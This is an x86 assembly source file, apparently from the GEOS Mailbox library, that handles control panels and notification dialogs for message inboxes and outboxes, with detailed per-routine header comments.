COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
MACompareMedia
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Compare two MailboxDisplayByMediumData structures from two
sets of panel criteria to see if they're equivalent.
CALLED BY: (INTERNAL) MALocateEquivalentPanel
PASS: ds:si = MailboxDisplayByMediumData to check
es:di = MailboxDisplayByMediumData being sought
RETURN: flags set so je takes if equivalent
DESTROYED: si, di, cx
SIDE EFFECTS: none
PSEUDO CODE/STRATEGY:
Two criteria are equivalent if they are the same transport &
medium and the same unit of that medium, or if they are the
same transport & medium, and one (or both) of the criteria isn't
particular about the unit (i.e. it's MUT_ANY)
REVISION HISTORY:
Name Date Description
---- ---- -----------
ardeb 5/31/94 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
if _CONTROL_PANELS
MACompareMedia proc near
.enter
;
; If medium + transport don't match, they ain't equivalent.
;
push si, di
;
; Make sure that the transport and medium are adjacent, so we
; can check in one sweep.
;
CheckHack <MDBMD_transport eq 0>
CheckHack <MDBMD_medium.MMD_medium eq 6>
CheckHack <MDBMD_medium.MMD_unitSize eq 10>
mov cx, (offset MDBMD_medium.MMD_unitSize)/2
repe cmpsw
pop si, di
jne done
;
; If panel displaying any unit, we found us something.
;
mov cl, ds:[si].MDBMD_medium.MMD_unitType
cmp cl, MUT_ANY
je done
;
; If any unit being sought, we found us something
;
cmp es:[di].MDBMD_medium.MMD_unitType, MUT_ANY
je done
EC < cmp cl, es:[di].MDBMD_medium.MMD_unitType >
EC < ERROR_NE INCONSISTENT_UNIT_TYPES_FOR_MEDIUM >
;
; If medium doesn't have units, we found us something (nothing else
; to compare...).
;
cmp cl, MUT_NONE
je done
;
; Else, compare the unit data between the two criteria.
;
mov cx, ds:[si].MDBMD_medium.MMD_unitSize
EC < cmp cx, es:[di].MDBMD_medium.MMD_unitSize >
EC < ERROR_NE INCONSISTENT_UNIT_SIZES_FOR_MEDIUM >
add si, offset MDBMD_medium.MMD_unit
add di, offset MDBMD_medium.MMD_unit
repe cmpsb
done:
.leave
ret
MACompareMedia endp
endif ; _CONTROL_PANELS
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
MACompareTransAddr
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Compare two MailboxDisplayByTransportData structures from two
sets of panel criteria to see if they're equivalent.
CALLED BY: (INTERNAL) MALocateEquivalentPanel
PASS: ds:si = MailboxDisplayByTransportData to check
es:di = MailboxDisplayByTransportData being sought
bp = # significant address bytes in address pointed to
by es:di
RETURN: flags set so je takes if equivalent
DESTROYED: si, di, cx
SIDE EFFECTS: none
PSEUDO CODE/STRATEGY:
Two criteria are equivalent if they are for the same transport
and medium, and the significant address bytes (or all the
address bytes, if there are fewer than the # significant in
one or both addresses) of the two match byte-for-byte.
REVISION HISTORY:
Name Date Description
---- ---- -----------
ardeb 5/31/94 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
if _CONTROL_PANELS
MACompareTransAddr proc near
.enter
;
; If medium + transport don't match, they ain't equivalent.
;
push si, di
CheckHack <MDBTD_transport eq 0>
CheckHack <MDBTD_transOption eq 4>
CheckHack <MDBTD_medium eq 6>
mov cx, (size MDBTD_transport+size MDBTD_transOption\
+size MDBTD_medium)/2
repe cmpsw
pop si, di
jne done
mov cx, ds:[si].MDBTD_addrSize
cmp cx, es:[di].MDBTD_addrSize
jb checkSigBytes
mov cx, es:[di].MDBTD_addrSize
checkSigBytes:
cmp cx, bp
jb doCompareTransAddr
mov cx, bp
doCompareTransAddr:
add si, offset MDBTD_addr
add di, offset MDBTD_addr
repe cmpsb
done:
.leave
ret
MACompareTransAddr endp
endif ; _CONTROL_PANELS
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
MACreateNewPanel
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: We've decided we need to create a new panel, so do it.
CALLED BY: (INTERNAL) MADisplayOutboxPanel
PASS: *ds:si = MailboxApplication
cx = MailboxDisplayPanelType
^hdx = MailboxDisplayPanelCriteria
if MDPT_BY_TRANSPORT:
^hbp = MailboxDisplayPanelCriteria for
MDPT_BY_MEDIUM
di = MCP_IS_SPECIFIC or MCP_IS_SYSTEM
bx = offset within MailboxApplicationInstance of
MailboxPanelBoxData to mess with
RETURN: memory block(s) freed
DESTROYED: ax, bx, cx, dx, di
SIDE EFFECTS: MailboxDisplayPanelData allocated and linked in.
MPBD_system set if MCP_IS_SYSTEM
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
ardeb 5/31/94 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
if _CONTROL_PANELS
MACreateNewPanel proc near
class MailboxApplicationClass
uses si, bp
.enter
;
; Create a MailboxAppDisplayPanel chunk from the criteria.
;
call MACopyCriteria ; *ds:ax <- criteria
;
; Link that into the chain for the box, setting MPBD_system to the
; chunk if this is the system panel for the box.
;
push cx, dx ; save criteria data
push ax ; save chunk for storing root OD
mov cx, di ; save spec/system flag
DerefDI MailboxApplication
CheckHack <MCP_IS_SYSTEM eq 0>
tst cx
jne addToList
;
; Set MPBD_system for the box.
;
EC < tst ds:[di+bx].MPBD_system >
EC < ERROR_NZ ALREADY_HAVE_A_SYSTEM_PANEL >
mov ds:[di+bx].MPBD_system, ax
addToList:
mov si, ax
xchg ds:[di+bx].MPBD_panels, ax
mov si, ds:[si]
mov ds:[si].MADP_next, ax
;
; Duplicate the appropriate resource to get us a control panel.
;
cmp bx, offset MAI_outPanels
mov bx, handle OutboxPanelRoot
mov si, offset OutboxPanelRoot
je haveRoot
mov bx, handle InboxPanelRoot
mov si, offset InboxPanelRoot
haveRoot:
call UtilCreateDialogFixupDS
mov dx, bx ; dx <- dup block
;
; Store the optr of the panel in the MailboxAppDisplayPanel (do this
; now so we can safely call MA_DESTROY_DIALOG at the end, if necessary,
; and have things cleaned up).
;
pop bx ; *ds:bx <- MADP
mov bx, ds:[bx]
movdw ds:[bx].MADP_panel, dxsi
mov bx, dx ; ^lbx:si <- new panel
call ObjSwapLock
Assert objectPtr, dssi, MessageControlPanelClass
;
; Let the panel know if it's for something specific or it's the system
; panel.
;
push cx, bp
mov ax, MSG_MCP_SET_SPECIFIC
call ObjCallInstanceNoLock
pop ax, bp
;
; Let the panel know what it's supposed to be displaying.
; XXX: Is this necessary for a system panel, which will change the
; criteria once the transport/app list selects its first entry?
;
pop cx, dx ; cx, dx <- criteria data
push ax
mov ax, MSG_MCP_SET_CRITERIA
call ObjCallInstanceNoLock
pop cx
jc nukeIfNotSystem
;
; Bring the panel up on-screen.
;
bringUp:
mov ax, MSG_GEN_INTERACTION_INITIATE
call ObjCallInstanceNoLock
call ObjSwapUnlock
done:
.leave
ret
nukeIfNotSystem:
CheckHack <MCP_IS_SYSTEM eq 0>
jcxz bringUp
;
; It's for something specific, but it's not actually displaying
; anything, so there's no point in bringing it up on screen, or even
; in it existing. Tell ourselves to destroy the thing.
;
call ObjSwapUnlock
mov dx, si
mov cx, bx ; ^lcx:dx <- dialog
mov si, offset MailboxApp ; *ds:si <- app object
mov ax, MSG_MA_DESTROY_DIALOG
call ObjCallInstanceNoLock
jmp done
MACreateNewPanel endp
endif ; _CONTROL_PANELS
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
MACopyCriteria
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Copy the MailboxDisplayPanelCriteria and MailboxDisplayPanelType
into a chunk in this block.
CALLED BY: (INTERNAL) MACreateNewPanel
PASS: *ds:si = MessageControlPanel object
cx = MailboxDisplayPanelType
^hdx = MailboxDisplayPanelCriteria
if MDPT_BY_TRANSPORT:
^hbp = MailboxDisplayPanelCriteria for MDPT_BY_MEDIUM
RETURN: *ds:ax = MailboxAppDisplayPanel
DESTROYED: nothing
SIDE EFFECTS: block & chunks may move
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
ardeb 5/26/94 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
if _CONTROL_PANELS
MACopyCriteria proc near
uses cx, es, bx, si, di, dx
.enter
EC < cmp cx, MDPT_ALL >
EC < jnz checkPrimary >
EC < Assert e, dx, 0 >
EC < jmp critOK >
EC <checkPrimary: >
EC < Assert handle, dx >
EC < cmp cx, MDPT_BY_TRANSPORT >
EC < jne critOK >
EC < Assert handle, bp >
EC <critOK: >
mov bx, dx
;
; Find the number of bytes in the criteria, all of which we need
; to copy in.
;
call getSize
cmp cx, MDPT_BY_TRANSPORT
jne haveSize
;
; Add in the number of bytes from the secondary (by-medium) criteria
;
push dx, cx, bx
mov_tr dx, ax ; dx <- primary # bytes
mov bx, bp ; bx <- handle of secondary
Assert handle, bx
mov cx, MDPT_BY_MEDIUM
call getSize
add ax, dx ; ax <- combined # bytes
pop dx, cx, bx
haveSize:
add ax, size MailboxAppDisplayPanel
push cx
mov_tr cx, ax
clr al
call LMemAlloc ; *ds:ax <- chunk
;
; Lock down the criteria block and set up registers for the big
; move-o-rama.
;
pop cx ; cx <- display type
push cx
mov_tr si, ax
segmov es, ds
mov di, ds:[si]
;
; Initialize the fixed-size part of the chunk.
;
mov ds:[di].MADP_type, cx
clr ax
mov ds:[di].MADP_next, ax
movdw ds:[di].MADP_panel, axax
;
; Copy in the primary criteria.
;
add di, offset MADP_criteria ; es:di <- destination
call copyIt
pop cx
;
; If by-transport, copy in the by-medium data, too.
;
cmp cx, MDPT_BY_TRANSPORT
jne done
mov cx, MDPT_BY_MEDIUM
mov bx, bp
call copyIt
done:
mov_tr ax, si
segmov ds, es ; *ds:ax <- MADP
.leave
ret
;--------------------
; Copy exactly the amount of data from the criteria into the chunk.
;
; Pass: cx = MailboxDisplayPanelType
; ^hbx = MailboxDisplayPanelCriteria
; es:di = destination for the copy
; Return: es:di = after copied data
; Destroyed: ax, ds, cx
;
copyIt:
call getSize ; ax <- # bytes to copy
mov_tr cx, ax ; but we need that in cx
jcxz copyDone ; => nothing to lock down
call MemLock
mov ds, ax
push si
clr si ; ds:si <- source
rep movsb
call MemUnlock
pop si
copyDone:
retn
;--------------------
; Figure the exact number of bytes that make up the criteria.
;
; Pass: cx = MailboxDisplayPanelType
; ^hbx = MailboxDisplayPanelCriteria
; Return: ax = exact # bytes
; Destroyed: nothing
;
getSize:
mov ax, size MailboxDisplayByAppData
cmp cx, MDPT_BY_APP_TOKEN
je getSizeDone
clr ax
cmp cx, MDPT_ALL
je getSizeDone
push ds
call MemLock
mov ds, ax
mov ax, size MailboxDisplayByTransportData
cmp cx, MDPT_BY_TRANSPORT
je addVarSize
mov ax, size MailboxDisplayByMediumData
addVarSize:
CheckHack <MDBTD_addrSize eq MDBMD_medium.MMD_unitSize>
add ax, ds:[MDBTD_addrSize]
call MemUnlock
pop ds
getSizeDone:
retn
MACopyCriteria endp
endif ; _CONTROL_PANELS
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
MAOutboxSysPanelCriteriaChanged
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Record new criteria and take down any specific panel
displaying the same info.
CALLED BY: MSG_MA_OUTBOX_SYS_PANEL_CRITERIA_CHANGED
PASS: *ds:si = MailboxApplication object
ds:di = MailboxApplicationInstance
cx = MailboxDisplayPanelType
^hdx = MailboxDisplayPanelCriteria
if MDPT_BY_TRANSPORT:
^hbp = MailboxDisplayPanelCriteria for MDPT_BY_MEDIUM
RETURN: nothing
DESTROYED: ax, cx, dx
SIDE EFFECTS: see above
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
ardeb 5/31/94 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
if _CONTROL_PANELS
MAOutboxSysPanelCriteriaChanged method dynamic MailboxApplicationClass,
MSG_MA_OUTBOX_SYS_PANEL_CRITERIA_CHANGED
mov bx, offset MAI_outPanels
FALL_THRU_ECN MASysPanelCriteriaChanged
MAOutboxSysPanelCriteriaChanged endm
endif ; _CONTROL_PANELS
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
MASysPanelCriteriaChanged
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Close any specific panels for the box that are displaying
the same or a subset of the messages selected by the passed
criteria, then record the criteria as the new criteria for
the system panel for the box
CALLED BY: (INTERNAL) MAOutboxSysPanelCriteriaChanged
PASS: *ds:si = MailboxApplication
ds:di = MailboxApplicationInstance
bx = offset to MailboxPanelBoxData
cx = MailboxDisplayPanelType
^hdx = MailboxDisplayPanelCriteria
if MDPT_BY_TRANSPORT:
^hbp = MailboxDisplayPanelCriteria for MDPT_BY_MEDIUM
RETURN: criteria memory block(s) freed
DESTROYED: ax, bx, cx, dx, si, di, bp
SIDE EFFECTS: block & chunks may move. system panel data moved to the front
of the list. MPBD_system will change
PSEUDO CODE/STRATEGY:
Unlink the system panel from the list of panels for the box,
so we don't find it as an equivalent and nuke it
Find all panels deemed equivalent (i.e. showing an improper
subset of the messages shown by the new criteria) and
destroy them
Create a new MailboxAppDisplayPanel for the new criteria (easier
than shoving in the new data)
Copy the optr of the panel from the old record to the new
Link the new panel data at the head of the list, setting
MPBD_system to the new chunk
REVISION HISTORY:
Name Date Description
---- ---- -----------
ardeb 5/31/94 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
if _CONTROL_PANELS
MASysPanelCriteriaChanged proc ecnear
class MailboxApplicationClass
.enter
;
; Find the system panel and the prev pointer to it.
;
push bx
mov ax, ds:[di+bx].MPBD_system
Assert chunk, ax, ds
lea bx, ds:[di+bx].MPBD_panels-offset MADP_next
findSysLoop:
cmp ds:[bx].MADP_next, ax
je foundSys
mov bx, ds:[bx].MADP_next
Assert chunk, bx, ds ; if fail, panel list corrupted
mov bx, ds:[bx]
jmp findSysLoop
foundSys:
;
; Unlink the system panel data from the list.
;
push ax
mov_tr di, ax
mov di, ds:[di]
mov ax, ds:[di].MADP_next
mov ds:[bx].MADP_next, ax
pop ax ; ax <- system panel chunk
pop bx ; bx <- MPBD offset
push bx ; save both for setting the new
push ax ; criteria
;
; Bring down anything showing anything like this.
;
mov di, MCP_IS_SYSTEM
call MANukeEquivalents
;
; Ok. We've biffed anything that was displaying what we want to display.
; Now create a new MailboxAppDisplayPanel chunk from the criteria
;
call MACopyCriteria ; *ds:ax <- new
;
; Free up the blocks that made up the criteria, now we've got their
; contents.
;
cmp cx, MDPT_ALL
je copyOD ; => no block
mov bx, dx ; bx <- primary criteria
call MemFree
cmp cx, MDPT_BY_TRANSPORT
jne copyOD
mov bx, bp ; bx <- secondary criteria
call MemFree
copyOD:
;
; Copy the panel's optr from the old to the new criteria.
;
pop bx ; *ds:bx <- old panel data
mov di, ds:[bx]
movdw cxdx, ds:[di].MADP_panel
;
; Nuke the old data, now we've got the optr.
;
xchg ax, bx ; *ds:ax <- old panel,
; *ds:bx <- new panel
call LMemFree
;
; Stuff the optr into the new...
;
mov di, ds:[bx]
movdw ds:[di].MADP_panel, cxdx
;
; Link the new panel data at the head of the list for the box, setting
; the MPBD_system field at the same time.
;
mov_tr ax, bx
pop bx ; bx <- MPBD offset
mov si, ds:[si]
add si, ds:[si].MailboxApplication_offset
mov ds:[si+bx].MPBD_system, ax
xchg ds:[si+bx].MPBD_panels, ax
mov ds:[di].MADP_next, ax
.leave
ret
MASysPanelCriteriaChanged endp
endif ; _CONTROL_PANELS
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
MAOutboxNotifyTransWinOpen
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Put up a start-of-transmission-window notificaiton dialog.
CALLED BY: MSG_MA_OUTBOX_NOTIFY_TRANS_WIN_OPEN
PASS: cxdx = MailboxMessage (1 reference already added)
bp = TalID
RETURN: nothing
DESTROYED: ax, cx, dx, bp
SIDE EFFECTS: Any other confirm boxes showing this message will be dismissed.
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
AY 1/ 6/95 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
MAOutboxNotifyTransWinOpen method dynamic MailboxApplicationClass,
MSG_MA_OUTBOX_NOTIFY_TRANS_WIN_OPEN
mov ax, MSG_MSND_SEND_MESSAGE_LATER
push ax
push si
push si ; push non-zero, send msg if
; MMF_SEND_WITHOUT_QUERY set
if not _OUTBOX_SEND_WITHOUT_QUERY
mov bx, handle OutWinOpenRoot
mov si, offset OutWinOpenRoot
mov ax, MSG_MSND_SET_MESSAGE
endif ; not _OUTBOX_SEND_WITHOUT_QUERY
call MAInboxOutboxConfirmationCommon
ret
MAOutboxNotifyTransWinOpen endm
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
MAOutboxNotifyTransWinClose
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Put up a end-of-transmission-window notification dialog.
CALLED BY: MSG_MA_OUTBOX_NOTIFY_TRANS_WIN_CLOSE
PASS: cxdx = MailboxMessage (1 reference already added)
bp = TalID
RETURN: nothing
DESTROYED: ax, cx, dx, bp
SIDE EFFECTS: Any other confirm boxes showing this message will be dismissed.
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
AY 1/ 9/95 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
MAOutboxNotifyTransWinClose method dynamic MailboxApplicationClass,
MSG_MA_OUTBOX_NOTIFY_TRANS_WIN_CLOSE
clr ax ; don't add it to confirmBoxes array
push ax
push si
push si ; push non-zero, send msg if
; MMF_SEND_WITHOUT_QUERY set
if not _OUTBOX_SEND_WITHOUT_QUERY
mov bx, handle OutWinCloseRoot
mov si, offset OutWinCloseRoot
mov ax, MSG_MSND_SET_MESSAGE
endif ; not _OUTBOX_SEND_WITHOUT_QUERY
call MAInboxOutboxConfirmationCommon
ret
MAOutboxNotifyTransWinClose endm
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
MAOutboxNotifyErrorRetry
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Puts up a permenant error notification dialog.
CALLED BY: MSG_MA_OUTBOX_NOTIFY_ERROR_RETRY
PASS: ss:bp = OERSetMessageArgs
dx = size OERSetMessageArgs
RETURN: nothing
DESTROYED: ax, cx, dx, bp
SIDE EFFECTS:
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
AY 3/15/95 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
if _QUERY_DELETE_AFTER_PERMANENT_ERROR
MAOutboxNotifyErrorRetry method dynamic MailboxApplicationClass,
MSG_MA_OUTBOX_NOTIFY_ERROR_RETRY
;
; Instantiate dialog.
;
mov bx, handle OutErrorRetryRoot
mov si, offset OutErrorRetryRoot
call UserCreateDialog ; ^lbx:si = instantiated dialog
;
; Set the message to display.
;
mov ax, MSG_OER_SET_MESSAGE
mov di, mask MF_STACK
call ObjMessage ; di = 0
;
; Finally, put the dialog on screen.
;
mov ax, MSG_GEN_INTERACTION_INITIATE
GOTO ObjMessage
MAOutboxNotifyErrorRetry endm
endif ; _QUERY_DELETE_AFTER_PERMANENT_ERROR
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
MADisplaySystemInboxPanel
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Bring the system inbox panel up on screen.
CALLED BY: MSG_MA_DISPLAY_SYSTEM_INBOX_PANEL
PASS: *ds:si = MailboxApplication object
ds:di = MailboxApplicationInstance
RETURN: nothing
DESTROYED: ax, cx, dx, bp
SIDE EFFECTS: ?
PSEUDO CODE/STRATEGY:
If system panel not already extant:
Call the Inbox to get the criteria for the most-recent
message.
Destroy any equivalent panels (including improper
subsets)
Call MACreateNewPanel(MCP_IS_SYSTEM)
REVISION HISTORY:
Name Date Description
---- ---- -----------
ardeb 9/16/94 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
if _CONTROL_PANELS
.warn -private
if MAILBOX_PERSISTENT_PROGRESS_BOXES
maInboxPanelData UISystemPanelData <
InboxGetDefaultSystemCriteria,
MAI_inPanels,
MPBT_INBOX
>
else
maInboxPanelData UISystemPanelData <
InboxGetDefaultSystemCriteria,
MAI_inPanels
>
endif ; MAILBOX_PERSISTENT_PROGRESS_BOXES
.warn @private
MADisplaySystemInboxPanel method dynamic MailboxApplicationClass,
MSG_MA_DISPLAY_SYSTEM_INBOX_PANEL
mov bx, offset maInboxPanelData
GOTO_ECN MADisplaySystemPanelCommon
MADisplaySystemInboxPanel endm
endif ; _CONTROL_PANELS
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
MADisplayInboxPanel
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Ensure there's a modified control panel on-screen to display
the messages selected by the indicated criteria.
CALLED BY: MSG_MA_DISPLAY_INBOX_PANEL
PASS: *ds:si = MailboxApplicationClass object
cx = MailboxDisplayPanelType
^hdx = MailboxDisplayPanelCriteria
RETURN: memory block(s) freed
DESTROYED: ax, cx, dx
SIDE EFFECTS:
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
AY 7/ 7/94 Initial version
ardeb 9/16/94 Rewrote to be like DISPLAY_OUTBOX_PANEL
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
if _CONTROL_PANELS
MADisplayInboxPanel method dynamic MailboxApplicationClass,
MSG_MA_DISPLAY_INBOX_PANEL
mov bx, offset MAI_inPanels
GOTO_ECN MADisplayPanelCommon
MADisplayInboxPanel endm
elif _SIMPLE_MESSAGE_NOTIFY
MADisplayInboxPanel method dynamic MailboxApplicationClass,
MSG_MA_DISPLAY_INBOX_PANEL
Assert e, cx, MDPT_BY_APP_TOKEN
;
; Instantiate notify dialog block.
;
mov bx, handle SimpleMessageNotifyRoot
mov si, offset SimpleMessageNotifyRoot
call UserCreateDialog ; ^lbx:si = new dialog
push bx ; save dialog hptr
push si ; save offset of dialog
call ObjLockObjBlock ; ax = dialog block
push ax ; save dialog sptr
;
; Get name of application into the dialog block.
;
mov bx, dx ; ^hbx = MailboxDisplayPanelCriteria
call MemLock
mov ds, ax
push {word} ds:[MDPC_byApp].MDBAD_token.GT_chars[0]
mov cx, {word} ds:[MDPC_byApp].MDBAD_token.GT_chars[2]
mov dx, {word} ds:[MDPC_byApp].MDBAD_token.GT_manufID
call MemUnlock
pop bx ; bxcxdx = GeodeToken
pop ds ; ds = dialog sptr
call InboxGetAppName ; *ds:ax = app name
;
; Stuff the name into the notification string
;
mov si, offset SimpleMessageNotifyGlyph
call UtilMangleMoniker
call LMemFree ; free the app name string
;
; Put the dialog on screen.
;
pop si ; *ds:si = SimpleMessageNotifyRoot
mov ax, MSG_GEN_INTERACTION_INITIATE
call ObjCallInstanceNoLock
;
; Unlock the dialog block.
;
pop bx ; bx = dialog hptr
GOTO MemUnlock
MADisplayInboxPanel endm
endif ; _SIMPLE_MESSAGE_NOTIFY
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
MAInboxSysPanelCriteriaChanged
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS:
CALLED BY: MSG_MA_INBOX_SYS_PANEL_CRITERIA_CHANGED
PASS: *ds:si = MailboxApplicationClass object
ds:di = MailboxApplicationClass instance data
cx = MailboxDisplayPanelType
^hdx = MailboxDisplayPanelCriteria
RETURN: memory block(s) freed
DESTROYED: ax, cx, dx
SIDE EFFECTS:
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
AY 9/12/94 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
if _CONTROL_PANELS
MAInboxSysPanelCriteriaChanged method dynamic MailboxApplicationClass,
MSG_MA_INBOX_SYS_PANEL_CRITERIA_CHANGED
mov bx, offset MAI_inPanels
GOTO_ECN MASysPanelCriteriaChanged
MAInboxSysPanelCriteriaChanged endm
endif ; _CONTROL_PANELS
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
MAInboxNotifyTransWinClose
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Put up a deadline notification dialog.
CALLED BY: MSG_MA_INBOX_NOTIFY_TRANS_WIN_CLOSE
PASS: cxdx = MailboxMessage (1 ref already added)
RETURN: nothing
DESTROYED: ax, cx, dx, bp
SIDE EFFECTS: Any other confirm boxes showing this message will be dismissed.
(But there shouldn't be any.)
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
AY 1/11/95 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
MAInboxNotifyTransWinClose method dynamic MailboxApplicationClass,
MSG_MA_INBOX_NOTIFY_TRANS_WIN_CLOSE
clr ax ; don't add it to confirmBoxes array
push ax
push si
push ax ; push zero, always put up dialog
mov bx, handle InWinCloseRoot
mov si, offset InWinCloseRoot
mov ax, MSG_MSND_SET_MESSAGE
call MAInboxOutboxConfirmationCommon
ret
MAInboxNotifyTransWinClose endm
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
MARegisterFileChange
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Register a callback routine for file-change notification
CALLED BY: MSG_MA_REGISTER_FILE_CHANGE
PASS: *ds:si = MailboxApplication object
ds:di = MailboxApplicationInstance
cx:dx = vfptr of routine to call:
Pass:
ax = callback data
dx = FileChangeNotificationType (never
FCNT_BATCH)
es:di = FileChangeNotificationData
Return:
nothing
bp = callback data
RETURN: nothing
DESTROYED: ax, cx, dx, bp
SIDE EFFECTS: app object registers with GCNSLT_FILE_SYSTEM list if not
already
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
ardeb 5/31/94 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
